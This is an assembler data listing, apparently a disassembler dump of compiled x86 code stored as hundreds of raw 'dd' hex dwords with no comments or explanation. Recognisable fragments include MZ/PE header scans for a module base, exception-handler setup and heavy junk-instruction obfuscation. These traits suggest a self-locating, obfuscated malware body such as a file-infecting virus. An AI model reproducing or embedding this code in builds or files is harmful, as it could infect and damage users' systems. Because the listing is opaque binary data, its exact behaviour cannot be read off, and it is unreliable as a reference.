		dd 1D042444h, 40000000h, 55FAC350h, 0B167FD15h,	75D18293h
		dd 68A0Fh, 0E3810000h, 5DA3F459h, 0EBEB8166h, 33CA8B15h
		dd 388166FFh, 0E755A4Dh, 3C50B70Fh, 3A81D003h, 4550h, 2D0874h
		dd 47000010h, 8F64E3EBh, 5, 4C48300h, 3698958Dh, 645205E4h
		dd 35FFh, 89640000h, 25h, 2DC10300h, 1000h, 8104708Bh
		dd 0FF0000E6h, 0FE81FFh, 76800000h, 1C708B03h, 0F883C033h
		dd 661F7432h, 5A4D3E81h, 0EE810974h, 10000h, 8BEBEB40h
		dd 0FE033C7Eh, 45503F81h, 44740000h, 8F64E8EBh,	5, 4C48300h
		dd 8B51C361h, 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h
		dd 0E8551024h, 0
		dd 0A3ED815Dh, 8D05E436h, 0E4366185h, 0B8818905h, 5D000000h
		dd 0C3C03359h, 58F6496h, 0
		dd 0F04C483h, 6AD8B7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E9DE0EC3h, 13h,	88E366E0h, 0AE4F0AE3h
		dd 0A2AF6B2Ch, 0D1A6C9C9h, 661A5711h, 0F4BBD98Ch, 801113A4h
		dd 840F04E1h, 0Ch, 7E9h, 2C590800h, 0CDC7667Ch,	850FC90Ah
		dd 52h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh
		dd 49C35040h, 0C47AB3FDh, 0C72F0D38h, 0E4299585h, 105h
		dd 0BBFC8A00h, 619B25Ch, 25E9h,	128A0F00h, 0E9000000h
		dd 0Dh,	18FE8083h, 20C2EB6Bh, 0DB1B960h, 85C7F92Eh, 5E42995h
		dd 0
		dd 8589E7B7h, 5E428E5h,	0DE9h, 1C83A400h, 0E8A88DF0h, 863ECCD5h
		dd 5BBB93Ch, 89078343h,	0E426F585h, 12E805h, 1A320000h
		dd 0B05D5282h, 37F9A7DDh, 0E9CADF3Eh, 0A22A3056h, 0C9BF0F5Fh
		dd 6364C781h, 11E90000h, 75000000h, 8BC46BF3h, 7DDFA753h
		dd 7CA2A827h, 675EBB1Ch, 0BE66C033h, 34FF9857h,	5840F38h
		dd 66000000h, 0B134E681h, 5BE6815Bh, 81555381h,	65BB88F3h
		dd 8E964h, 4B340000h, 542FE4FBh, 0F381438Bh, 65AB25F4h
		dd 0C491B966h, 35A0EB81h, 860F4578h, 0
		dd 0E8071C89h, 8, 0EEED0302h, 8F6F9639h, 0F104B966h, 0B890F59h
		dd 0F000000h, 580h, 0D6816600h,	0E88326F5h, 3830F04h, 0F000000h
		dd 0F881F1BFh, 0FFFF9D64h, 0FF84850Fh, 13E9FFFFh, 0AB000000h
		dd 0A84A3ABEh, 655F58Fh, 3DEDE02Bh, 7EDF5284h, 5E8CE2Fh
		dd 6F000000h, 3AE4A8A9h, 2E70B1BEh, 13E95A25h, 10000000h
		dd 0FF1AC1E6h, 0A70CCFBAh, 0B41DF14Eh, 0CBD04FCCh, 0C281D084h
		dd 6E70h, 0AE9h, 6FA38200h, 7595E2B2h, 2B5BCD92h, 0DCE780FFh
		dd 0F1734FFh, 68Ch, 0BECB8100h,	596055AAh, 81F1B70Fh, 0B3FBE3E9h
		dd 17BB6658h, 0C1E981F9h, 8018EBC3h, 0F181FBC8h, 6117B16Dh
		dd 0C0BF0F51h, 0E83A048Fh, 0Fh,	9F55242Bh, 8E659A2h, 0F9B3EA7Dh
		dd 0E93FE3ABh, 6, 97D5B567h, 0F5B93A7h,	0E89h, 9E900h
		dd 613B0000h, 0BD884DF8h, 830D0783h, 10E901EFh,	0B8000000h
		dd 103A9CACh, 35166DB2h, 3AFE92ECh, 4F2E4F8Ah, 0FE94F4Fh
		dd 36000000h, 0C4A642B7h, 203F66E4h, 1B4057C7h,	0FF814070h
		dd 0FFFF9290h, 0FF5E850Fh, 820FFFFFh, 1Fh, 19800Fh, 14E90000h
		dd 66000000h, 90B2A570h, 946B632Dh, 999C219Eh, 178D7A1h
		dd 0E995CEC2h, 749h, 16F9BD31h,	21705E4h, 89000000h, 0E422E5B5h
		dd 9E96005h, 29000000h,	0EDFFC326h, 25EEC172h, 8F0FC02Bh
		dd 6, 1DF98589h, 548B05E4h, 85292824h, 5E408A1h, 1A5D8589h
		dd 810F05E4h, 0Ch, 68C0Fh, 8D890000h, 5E42929h,	3CBEF5h
		dd 13E90000h, 0B8000000h, 3A6DEED9h, 2601F467h,	0E1AF402Bh
		dd 0A718FAF6h, 7403C1CAh, 0FCF92424h, 870FAD66h, 1, 244403F5h
		dd 15BD0124h, 9005E416h, 9E9h, 3656A700h, 0D6530C9Bh, 0F50EE39h
		dd 686h, 2AB46000h, 906171B7h, 371B589h, 830F05E4h, 8
		dd 2800Fh, 61600000h, 0F78408Bh, 0A83h,	95896000h, 5E42A9Dh
		dd 3615E51h, 9282444h, 0E42A15B5h, 18408B05h, 0DE9h, 280B7A00h
		dd 0FB2EA594h, 36FD0AB9h, 1405570h, 0E417958Dh,	89858905h
		dd 0F05E439h, 188h, 0F858F500h,	0E978708Bh, 13h, 0BD443FAAh
		dd 0FA0F3EE7h, 494DCBD7h, 55203DB1h, 8377EE03h,	13E91CC6h
		dd 5A000000h, 0B7AA46FDh, 646F6506h, 0F5BD72B1h, 33137EFBh
		dd 74030CE2h, 6E92424h,	5C000000h, 101A5826h, 0BDBD8DD2h
		dd 8905E431h, 0E41D8185h, 8960AD05h, 0E427098Dh, 0BE905h
		dd 58D00000h, 0E4E2DB14h, 1716CF4h, 3FC61B9h, 0F8242444h
		dd 0BD8DFCABh, 5E41E09h, 2A19589h, 9AD05E4h, 0E40259B5h
		dd 24440305h, 13E924h, 0DE830000h, 202A1E4Dh, 0F1017938h
		dd 1DF5B4Eh, 0E134611Fh, 0CE9508Dh, 53000000h, 4365A233h
		dd 0ECE49AD7h, 897C1913h, 0CE92404h, 0E2000000h, 0E0A9D7A8h
		dd 2781B57Bh, 0AB3EBBBCh, 9DBD8DF9h, 6005E417h,	6A6DBE66h
		dd 1091858Bh, 0AD6105E4h, 0F8D0Fh, 0AE90000h, 4F000000h
		dd 0ED02CD63h, 432C4657h, 2444034Ch, 0EE928h, 0A3FF0000h
		dd 0D3F4691Ah, 5B45390Fh, 8682862Ch, 0FD9589h, 0E9AB05E4h
		dd 8, 2A78DA42h, 0D34B4CBAh, 958B605Eh,	5E42BB1h, 10E860h
		dd 6E310000h, 0A4D530A7h, 0E87E2E3Eh, 9B81A15Bh, 895AC0F1h
		dd 0E4111DB5h, 89616105h, 0E4266D85h, 898DFF05h, 8305E439h
		dd 0E43989BDh, 10750005h, 1C2444C7h, 0
		dd 3E3FB58Dh, 0E6FF05E4h, 4403AD56h, 8B972824h,	49858ADFh
		dd 8405E42Ah, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
		dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
		dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
		dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
		dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 0E41A5D85h, 0FF6FE905h
		dd 0FC5EFFFFh, 999589F8h, 8B05E421h, 0E41A5D85h, 0B5896005h
		dd 5E42175h, 1C759589h,	0D16105E4h, 618D89E0h, 305E423h
		dd 0E4179D85h, 55BD8905h, 2B05E404h, 0EE9F6h, 0CD0000h
		dd 0BBE30789h, 12FB4977h, 7C46A794h, 0C890Fh, 810F0000h
		dd 6, 830Fh, 0F960000h,	688h, 498D8900h, 6605E408h, 51BD89ADh
		dd 0C105E426h, 0FF802E0h, 0E85h, 8D096000h, 5E40899h, 162D8589h
		dd 36105E4h, 0E431BD85h, 71952905h, 0F805E42Dh,	850B6096h
		dd 5E42171h, 29CB8B60h,	0E4202DBDh, 0AD616105h,	12E9h
		dd 0B9D15E00h, 0ED057B10h, 116D8F10h, 29B0C9DBh, 8B59B3CAh
		dd 8924244Ch, 0E4176D95h, 24440305h, 0DE924h, 93950000h
		dd 6BEA0526h, 8C37079Dh, 1D55EF9h, 0E410BDB5h, 24448905h
		dd 0C98D891Ch, 9605E41Ah, 9A19589h, 89AC05E4h, 0E40CA9B5h
		dd 0FC93205h, 685h, 69BD8900h, 0FE05E41Ch, 0C830FC1h, 0F000000h
		dd 68Fh, 15858900h, 0D005E41Ah,	0BD830FD0h, 0E9000000h
		dd 10h,	8D4911CBh, 0ADF84167h, 6ED2376Dh, 71285E82h, 830FD0D0h
		dd 0A0h, 0BA665060h, 89592D1Fh,	0E41109B5h, 0D0D06105h
		dd 8A820Fh, 810F0000h, 0Bh, 6E9h, 0D66D7200h, 0D0EFF8E3h
		dd 71820FD0h, 0F000000h, 0C84h,	7E900h,	0B11C0000h, 2FFE81BAh
		dd 0FC9FE4Eh, 0FFFF9289h, 259529FFh, 8305E425h,	0B86020C4h
		dd 15F3BA8Bh, 61FEB70Fh, 0FC2444C7h, 0
		dd 108C0Fh, 0BE90000h, 1F000000h, 2A94970Ch, 848EABBEh
		dd 1B8EB75h, 60000000h,	21A5858Bh, 0BB6605E4h, 8D61CD11h
		dd 0E46FFD8Dh, 0F1858905h, 0FF05E417h, 9531F5E1h, 5E410DDh
		dd 2A4985C6h, 0F0005E4h, 1089h,	0BE900h, 132C0000h, 59725559h
		dd 6E5F6056h, 0BD316165h, 5E408C9h, 10008C2h, 0E42D519Dh
		dd 840F9605h, 0Eh, 9E9h, 26F90400h, 21208993h, 0F50E28Eh
		dd 0A86h, 5E900h, 0FD130000h, 960D2085h, 7899589h, 7E905E4h
		dd 0B3000000h, 0CFDC3631h, 0B5894A9Eh, 5E44087h, 1A598D31h
		dd 8D8905E4h, 5E440B7h,	8D0F60h, 8B000000h, 0E40D45B5h
		dd 8DF56105h, 0E43F3BB5h, 12E905h, 1ED10000h, 0A6A51C86h
		dd 1BF72625h, 0E7BF25E9h, 0BDF70890h, 7E35858Dh, 5E9005Bh
		dd 9C000000h, 4FBD1CFEh, 0B6F38160h, 61387D36h,	8589D0FFh
		dd 5E40449h, 2A31B509h,	605E05E4h, 0FE9h, 0B7F08600h, 0A74CD64Ch
		dd 0ADF61A0Eh, 58F96E6Bh, 11259529h, 0C36105E4h, 0FE9h
		dd 7A946700h, 6D60143Fh, 0B94136CCh, 391C3A0h, 4087B58Bh
		dd 850F05E4h, 0Ch, 6880Fh, 8E0F0000h, 0
		dd 6880Fh, 9D090000h, 5E420EDh,	40B78D8Bh, 810F05E4h, 1
		dd 0E9C02BF5h, 11h, 8773FFA9h, 48F5786Bh, 0B0A53E5Dh, 0CD634F75h
		dd 0FCD98B02h, 1A898531h, 0D1E905E4h, 89000000h, 0E421ADBDh
		dd 60263205h, 71C580F5h, 6002B261h, 266D9D8Bh, 8B6605E4h
		dd 8DE961C3h, 0FC000000h, 9D09C232h, 5E432ADh, 1D7A05FCh
		dd 8AF58A75h, 0BE860CCh, 8A000000h, 359F5E63h, 682DBFABh
		dd 61604811h, 1D8D315Fh, 6105E42Dh, 0F5958960h,	8B05E41Ah
		dd 0E426B18Dh, 0C8D36105h, 55BD8960h, 905E401h,	0E42D8585h
		dd 830F6105h, 6, 14ED8589h, 423505E4h, 0F98D108h, 0A80h
		dd 5E900h, 0EF320000h, 89B3CCD8h, 0E429119Dh, 0E9CAFE05h
		dd 14h,	0F5000905h, 3231D7E0h, 5ECBF296h, 4B5BDAB7h, 0A895F7D0h
		dd 850FD20Ah, 0FFFFFF6Ch, 46D9501h, 604B05E4h, 10FDBD8Bh
		dd 816605E4h, 617668E3h, 599D8946h, 0F505E414h,	850FDB0Bh
		dd 0FFFFFF2Dh, 1A019D89h, 0E9CF05E4h, 10h, 598EE6F7h, 26AAB3Ah
		dd 0CBFA9BB4h, 305E1AE6h, 8B600000h, 0E41AA99Dh, 0D9952905h
		dd 6105E407h, 0BF600000h, 139D945h, 12E9h, 4ABDF900h, 0F8570F31h
		dd 23AEFCF3h, 0FF788505h, 61814748h, 95890000h,	5E4168Dh
		dd 6E90000h, 5C000000h,	282B0EA6h, 94858DB4h, 6005E439h
		dd 59F88B56h, 8589F861h, 5E429F1h, 6C858DF9h, 8905E43Eh
		dd 0E407899Dh, 0C5858905h, 0EB05E413h, 14h, 3 dup(0)
		dd 8B00h, 0C8858D00h, 8905E441h, 0E41D5585h, 0BD8305h
		dd 5E441h, 12B840Fh, 85C60000h,	5E42A49h, 7B316856h, 48180D2h
		dd 4CF20824h, 0E5B5FF53h, 8D05E428h, 0E4399485h, 89D0FF05h
		dd 0E440F485h, 4985C605h, 5605E42Ah, 4E8h, 0A8B85200h
		dd 448B509Ch, 8B0424h, 4244489h, 0E5B5FF58h, 8D05E428h
		dd 0E4399485h, 89D0FF05h, 0E440F885h, 0E8046A05h, 4, 1000h
		dd 24448B50h, 89008B04h, 58042444h, 4104858Bh, 0F40505E4h
		dd 0C1000001h, 509002E0h, 0FF006A90h, 0E440F895h, 0FC858905h
		dd 8B05E440h, 0FFFFB8D8h, 95FFFFFFh, 5E41D55h, 95FFC38Bh
		dd 5E41D55h, 84E9h, 0BD8300h, 5E441h, 1850Fh, 57C30000h
		dd 40FCBD8Bh, 83AB05E4h, 0E440FC85h, 0C35F0405h, 4100BD83h
		dd 0F0005E4h, 185h, 8360C300h, 0E440FCADh, 9D8B0405h, 5E440FCh
		dd 0FFFC7B83h, 1D850Fh,	1A680000h, 8182F528h, 57E62404h
		dd 6A7D0Bh, 95FF33FFh, 5E440F4h, 1DE9C361h, 68000000h
		dd 33451706h, 6243481h,	6A334597h, 0FF33FF00h, 0E440F495h
		dd 0FCAD8305h, 405E440h, 0FFFFB1E9h, 0D3E948FFh, 12000009h
		dd 87A0A851h, 9BBCD13h,	0AEAD6952h, 1ED88282h, 0C7A1FA5Bh
		dd 70491695h, 645167EBh, 4F2BEA66h, 8CADA877h, 1BB3C151h
		dd 0BFFE3B45h, 119D8590h, 0B7C29510h, 6D5D1C9Fh, 64036BEAh
		dd 402DE866h, 96ADA874h, 1AEDE51h, 0A3E03B5Ah, 58A9E8Eh
		dd 83A1FE1Eh, 6D590BD3h, 655126FBh, 542DFD28h, 90B4A862h
		dd 0FAEDF1Eh, 355Ah, 62h dup(0)
		dd 12000000h, 8DA9A851h, 1A8D11Fh, 0B4FD3B45h, 1D8A968Ch
		dd 86A7BF53h, 7B5E5980h, 770329EAh, 452CF167h, 8CB1FA30h
		dd 9B2D11Fh, 0E6E37217h, 0E8D9E9Ah, 94B6EC1Eh, 30511C87h
		dd 7D734A85h, 4431E56Dh, 8CB1A83Ch, 0ABDD71Dh, 0E6F97217h
		dd 11978385h, 8AAAF21Eh, 3E450B9Ch, 314729EEh, 5531E17Ah
		dd 0C2B0FA71h, 1CA9D708h, 0A9FF6B17h, 11998384h, 10h, 47h dup(0)
		dd 12000000h, 90A7A851h, 0BB7DB10h, 0E6FE3C45h,	10979E97h
		dd 94AEF71Eh, 7B591BD3h, 7E4567E1h, 126EA7Dh, 8CAAFD62h
		dd 4EBBD618h, 0BFAD755Eh, 5C8A848Ch, 93BCE64Dh,	14121496h
		dd 744F1782h, 0D27F769h, 8EAAFD30h, 4EB8D91Eh, 0A0AD6F5Eh
		dd 5C959E91h, 88A2FA53h, 7F1C0081h, 630323E1h, 4036F76Dh
		dd 9BE4FC62h, 4EAECD1Eh, 0A1E26947h, 52959091h,	61h dup(0)
		dd 12000000h, 87A8E156h, 1CB3DB51h, 0B2FD6E45h,	52D99586h
		dd 8EA7CB1Eh, 6C4C5980h, 705120E0h, 402AA465h, 87A6A863h
		dd 3FCD614h, 0B6E47556h, 8999D96h, 86EFFB5Bh, 731C1D9Dh
		dd 74413EEEh, 552B8902h, 8BE4FB37h, 0DB9DE1Fh, 0E6E97E43h
		dd 1DD88881h, 95A6C91Eh, 711C0A86h, 634067FDh, 4429E769h
		dd 0B6E4A674h, 4EAFD119h, 0A3E17251h, 129786C3h, 90EFEB19h
		dd 3E570B9Ch, 7C5A29EEh, 0F27F667h, 0E0h dup(0)
		dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8	dup(0)
		dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0
		dd 0FDE90000h, 0B00002Ch, 0E425099Dh, 6AFC05h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0E9DF73C3h, 8B806051h, 0E4115595h, 6AC08B05h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0BC8CC356h, 2CBB662Eh, 0A1BD83E4h, 5E416h, 0BD830975h
		dd 5E4220Dh, 50137400h,	0B8C08B53h, 1, 0A78D9D8Dh, 0D3FF05E6h
		dd 0BD83585Bh, 5E4220Dh, 50117400h, 1B853h, 9D8D0000h
		dd 5E6A63Eh, 585BD3FFh,	89DA8B66h, 0E4143985h, 29C08B05h
		dd 0E40D719Dh, 0EDBD8305h, 5E41Dh, 1BF840Fh, 0BF0F0000h
		dd 19BD83DAh, 5E429h, 1AF840Fh,	6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0BD391C3h
		dd 0E41C2995h, 0E3816605h, 6A60FEB3h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0F3B9C355h
		dd 667773EFh, 879FDB81h, 2919858Bh, 3EB205E4h, 3D958Bh
		dd 0E80505E4h, 6A000003h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 9868C352h, 569A99D7h
		dd 0D68B66E3h, 50DF8B90h, 0D0B4C8BAh, 858D9038h, 5E44C0Ch
		dd 7019D8Bh, 9D3305E4h,	5E41A89h, 0E1BB6650h, 240489F9h
		dd 8E9h, 78F75D00h, 0D1CC3621h,	0EA858D1Fh, 0F05E44Bh
		dd 0E83h, 9E900h, 6E670000h, 0EF2AC73Dh, 5061AA80h, 489DE8Bh
		dd 55006A24h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 1DD76C12h, 3A00888Ah, 1BC99503h,	95FF05E4h
		dd 5E427D5h, 1DE5BD89h,	0C48305E4h, 799D8B0Ch, 8D05E41Fh
		dd 0E44BEA85h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 8AE9764Ch, 0FD6DC3DCh
		dd 8B90DB4Fh, 89B750DAh, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 1E9CF0A5h, 4860FEBh, 66000000h
		dd 6A0F73BBh, 3FE28002h, 1F299523h, 95FF05E4h, 688574h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 6BC35242h
		dd 8947E12Eh, 0E425A995h, 8161F505h, 844ABFCBh,	1D85C723h
		dd 105E44Ch, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 6803C357h, 0D32DC097h
		dd 8B965196h, 0F5750D7h, 28Bh, 5ADE8B00h, 52006A96h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0D9C73288h, 7E903h, 821A0000h, 0DDB05D52h, 0CEB589A7h
		dd 0E905E44Bh, 12h, 5D3DFC38h, 2894ED01h, 30D729D7h, 0B70972A5h
		dd 0BD83D49Fh, 5E42995h, 51850F01h, 0FC000000h,	0F05F883h
		dd 4785h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 0EFAE10C6h, 607B8484h, 16F9858Bh
		dd 816605E4h, 61CDC8D7h, 0B8F5h, 9E80000h, 0C4000000h
		dd 91DB79B2h, 5C53926Bh, 5B3FC780h, 2C31BD83h, 0F0005E4h
		dd 1184h, 19958B00h, 0B805E41Ch, 0
		dd 0D098529h, 0B66005E4h, 91858BD6h, 0B605E411h, 95BD29ECh
		dd 8305E407h, 958B02C0h, 5E4049Dh, 4BC68589h, 958B05E4h
		dd 5E40155h, 89FF00C6h,	0E424C595h, 4985C605h, 5305E42Ah
		dd 2191958Bh, 4E805E4h,	0D8000000h, 66FCB148h, 0E850D78Bh
		dd 6, 0B52220B4h, 5250F822h, 870Fh, 310F0000h, 8B5B585Ah
		dd 66042444h, 8B6078BBh, 0D68B6600h, 4244489h, 55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0A21847Ah, 0BD019175h, 5E416F5h, 26F5B5FFh, 6A05E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 952B3FC3h, 5E41BFDh,	6D30858Dh, 0DE905E7h, 0E5000000h
		dd 855C3EE2h, 76E22D69h, 7ABF02B7h, 0E5BBD0FFh,	895ACA6Bh
		dd 0E410C185h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0E32D105Bh, 8F0F9E99h
		dd 0Eh,	0D9D8960h, 0B05E42Dh, 0E40061B5h, 0BD836105h, 5E42D11h
		dd 0AE850F01h, 0F000000h, 280h,	61D78B00h, 14158D89h, 85C605E4h
		dd 5E42A49h, 99D8B45h, 6805E41Bh, 9B763388h, 38C0F60h
		dd 66000000h, 8161F18Bh, 53A2404h, 0BE93EEAh, 8A000000h
		dd 21EB2073h, 0A47ED2E7h, 0B5FF07A9h, 5E426F5h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C9C35141h, 657F6255h
		dd 858D009Eh, 5E76D30h,	2B958501h, 0D0FF05E4h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0E3C35343h, 5D8D89A3h
		dd 6A05E42Ah, 0BD8B6000h, 5E41A7Dh, 89D0FF61h, 0E42B91B5h
		dd 0C5BD8305h, 105E41Dh, 0AD850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 2D6632C3h
		dd 667DC569h, 0B210DA81h, 1191858Bh, 6E805E4h, 0FA000000h
		dd 0E348EBB9h, 0D1BF0F4Ah, 32E95Bh, 85290000h, 5E42C81h
		dd 4830F50h, 66000000h,	89C4A2BBh, 9D892404h, 5E4115Dh
		dd 0BA66146Ah, 95FF73DDh, 5E410C1h, 0FAF38166h,	8D095805h
		dd 5E419FDh, 0F003880h,	0FFFFCB85h, 56006AFFh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0C8539E36h
		dd 0CC0E816Ah, 4879DA81h, 0C667E8h, 75B58901h, 6105E400h
		dd 31B59533h, 0BD8305E4h, 5E429A5h, 20840F00h, 0BA000000h
		dd 44E8105Ah, 9529FF6Ah, 5E416F9h, 10C195FFh, 9D8B05E4h
		dd 5E42739h, 0FFFFE7E9h, 0C7DF8BFFh, 0E429A585h, 105h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0ABE8EEh, 0D28589C7h, 6605E44Bh,	90479BBAh
		dd 8B666050h, 0F08B66F3h, 6A9061h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 98247C3h, 0E42D499Dh
		dd 0DA816605h, 89600459h, 0E4155195h, 89056A05h, 0E41C2585h
		dd 0EA858D05h, 6A05E44Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 0C24DC356h,	0FC485EA2h
		dd 0B26050ADh, 9E860D3h, 70000000h, 0C9EDF4F3h,	0C1AC2B62h
		dd 0F18B665Ah, 4896161h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0F2633E73h, 10E856h, 0A2790000h
		dd 0F55E9923h, 0D7B95Eh, 62ED2FB3h, 9E92C67h, 52000000h
		dd 0CE2F7EDFh, 78F2E5D8h, 0BE95Bh, 0ADD80000h, 4C1A1CCDh
		dd 9FB4662Bh, 0DA858DCBh, 0F05E44Bh, 1482h, 0CE800h, 2BBB0000h
		dd 7CBB0A47h, 51F65667h, 5A505A57h, 0FE8905Ah, 28000000h
		dd 0D576508Dh, 0A228D94Ah, 0FB004FFCh, 0BA66CA5Bh, 505B42CAh
		dd 2810Fh, 0DE8A0000h, 15958B90h, 0FF05E425h, 0E41D0D95h
		dd 35852905h, 8D05E424h, 0E478B38Dh, 0F59D8B05h, 0B05E41Eh
		dd 8D1174C0h, 0E44BEA85h, 0D1FF5005h, 4C088589h, 0AEB05E4h
		dd 4C0885C7h, 0FFFF05E4h, 8B66FFFFh, 51006AD6h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 47D953E5h
		dd 8B619C98h, 0E4265D95h, 4985C605h, 4D05E42Ah,	0CC58531h
		dd 186805E4h, 8A83A81Ch, 243481D5h, 279D6AB0h, 0FFE4D280h
		dd 0E43185B5h, 25958B05h, 8D05E410h, 0E76D3085h, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0BB1EAC72h, 84172320h, 8166516Ch, 5AFC24EBh,	0C9B58957h
		dd 5B05E404h, 8D89D0FFh, 5E40F9Dh, 178A08BBh, 0C9858928h
		dd 0F05E40Ch, 687h, 29BD8900h, 0C605E428h, 0E42A4985h
		dd 9D8B4505h, 5E400B1h,	61D24968h, 0DE81Ah, 13E20000h
		dd 0BC7679B7h, 0FB0D2C78h, 8ACB3B16h, 4815BD7h,	10972024h
		dd 56006A74h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 99704A52h, 7940855Dh, 237999BAh,	0F5B5FF4Dh
		dd 8905E426h, 0E423D1B5h, 30858D05h, 0F05E76Dh,	68Fh, 71B50900h
		dd 0FF05E41Fh, 31B589D0h, 0E805E421h, 6, 84AFBDBCh, 9D0112C4h
		dd 5E41155h, 4185895Ah,	105E402h, 0E42921B5h, 0FD28B05h
		dd 68Ah, 59B52900h, 6605E41Ah, 6AD98Ch,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 57994AC3h
		dd 45F78052h, 23B99289h, 0E42B4995h, 0C0816005h, 2C1D4623h
		dd 2D19D8Bh, 0F66105E4h, 840F04C1h, 1DFh, 8C0Fh, 32E90000h
		dd 0E9000001h, 12h, 5C1A0CB4h, 3FAFFE01h, 81BC95F3h, 3A239568h
		dd 0B58B547Dh, 5E41AB5h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 94C35545h, 0ED1E4629h, 4B23345Bh, 81D3B70Fh
		dd 1180C6h, 0DE800h, 6B550000h,	0AA351CF6h, 0C811E8C4h
		dd 89ED2268h, 0E4313995h, 0BD835A05h, 5E430DDh,	33850F00h
		dd 8B000000h, 0E415299Dh, 83E905h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 9FF202C3h
		dd 9D34E79h, 11559D23h,	3E8305E4h, 52840F00h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0BD2AC352h, 183B4D7Dh, 0E38151F9h, 7A5D3B33h
		dd 958B605Ah, 5E42915h,	9531146Ah, 5E42E7Dh, 10C195FFh
		dd 958B05E4h, 5E427D1h,	0D6B70F61h, 0FFFFA9E9h,	72BB66FFh
		dd 106C7A0h, 6A000000h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0CBF1C353h,	4830A457h
		dd 5185890Eh, 2905E410h, 0E4204D85h, 0D2BD8305h, 505E44Bh
		dd 95850Fh, 0BA660000h,	9529561Ah, 5E421A5h, 241B58Bh
		dd 858905E4h, 5E42575h,	64B9h, 5D9D8B00h, 8005E42Dh, 840FE83Eh
		dd 24h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h
		dd 0CC35040h, 11E93C8Ch, 0F9000000h, 0C2057E80h, 34840Fh
		dd 958B0000h, 5E42C89h,	0AE946h, 40760000h, 0C2A1AA40h
		dd 0C15CDA2Eh, 0FF59D23h, 0F4905E4h, 0FFFFA685h, 18DB81FFh
		dd 0E95C551Ah, 0Fh, 77D958Bh, 0B58905E4h, 5E427FDh, 58D88B66h
		dd 10499D2Bh, 0BD8305E4h, 5E42549h, 37840F00h, 89000001h
		dd 0E410D985h, 6A6005h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 95CB1FC3h, 4985C624h, 5405E42Ah
		dd 15D8D89h, 386805E4h,	50B3CECBh, 12E952h, 0BF430000h
		dd 70D53475h, 0E6D4FABAh, 0CFA7831Dh, 3F3CCCB3h, 5057310Fh
		dd 5A310F52h, 585A5B58h, 0BC240481h, 664B7FF3h,	0B5FFD98Bh
		dd 5E426F5h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0D5C35242h, 0ABDB4BD4h,	0BB6619F5h, 858D850Dh
		dd 5E76D30h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	61C35141h, 958B0901h, 5E40481h,	2840Fh,	0DE8B0000h
		dd 8166D0FFh, 6A49E2E2h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1804h, 0C3554500h, 8EBE17CDh, 0AE961h, 0DBCB0000h
		dd 49B6272Bh, 65E858B4h, 2549B5FFh, 11E905E4h, 6F000000h
